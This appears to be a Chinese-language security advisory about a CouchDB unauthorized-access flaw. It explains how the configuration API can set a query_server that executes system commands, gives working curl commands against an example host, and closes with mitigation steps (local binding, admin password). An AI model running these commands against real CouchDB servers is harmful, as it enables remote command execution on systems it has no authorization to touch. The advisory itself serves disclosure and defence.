5月16日阿里云盾攻防對抗團隊從外部渠道獲知CouchDB數據庫存在未授權訪問漏洞(在配置不正確的情況下)。經過測試,云盾團隊率先發現利用該未授權訪問漏洞不僅會造成數據的丟失和泄露,甚至可執行任意系統命令
。云盾安全專家團隊第一時間完成了漏洞上報、安全評級,并通知了所有可能受影響的用戶。下面將對該漏洞的出處和技術細節做詳細解釋。
CouchDB 是一個開源的面向文檔的數據庫管理系統,可以通過 RESTful JavaScript Object Notation (JSON) API
訪問。CouchDB會默認會在5984端口開放Restful的API接口,用于數據庫的管理功能。
那么,問題出在哪呢?翻閱官方描述會發現,CouchDB中有一個Query_Server
的配置項,在官方文檔中是這么描述的:
CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.
直白點說,就是CouchDB允許用戶指定一個二進制程序或者腳本,與CouchDB進行數據交互和處理,query_server
在配置文件local.ini中的格式:
[query_servers]
LANGUAGE = PATH ARGS
默認情況下,配置文件中已經設置了兩個query_servers:
[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js
可以看到,CouchDB在query_server
中引入了外部的二進制程序來執行命令,如果我們可以更改這個配置,那么就可以利用數據庫來執行命令了,但是這個配置是在local.ini文件中的,如何控制呢?
繼續讀官方的文檔,發現了一個有意思的功能,CouchDB提供了一個API接口用來更改自身的配置,并把修改后的結果保存到配置文件中:
The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance
也就是說,除了local.ini
的配置文件,CouchDB允許通過自身提供的Restful API
接口動態修改配置屬性。結合以上兩點,我們可以通過一個未授權訪問的CouchDB,通過修改其query_server
配置,來執行系統命令。
新增query_server
配置,這里執行ifconfig命令
#!shell
curl -X PUT 'http://1.1.1.1:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
新建一個臨時表,插入一條記錄
#!shell
curl -X PUT 'http://1.1.1.1:5984/vultest'
curl -X PUT 'http://1.1.1.1:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
調用query_server
處理數據
#!shell
curl -X POST 'http://1.1.1.1:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
執行后,可以看到,指定的命令已經成功執行:
至于如何回顯執行結果,各位可以動動腦筋,歡迎互動。
1、指定CouchDB綁定的IP (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改為 127.0.0.1 ,然后保存。注:修改后只有本機才能訪問CouchDB。
2、設置訪問密碼 (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密碼。
附:參考鏈接: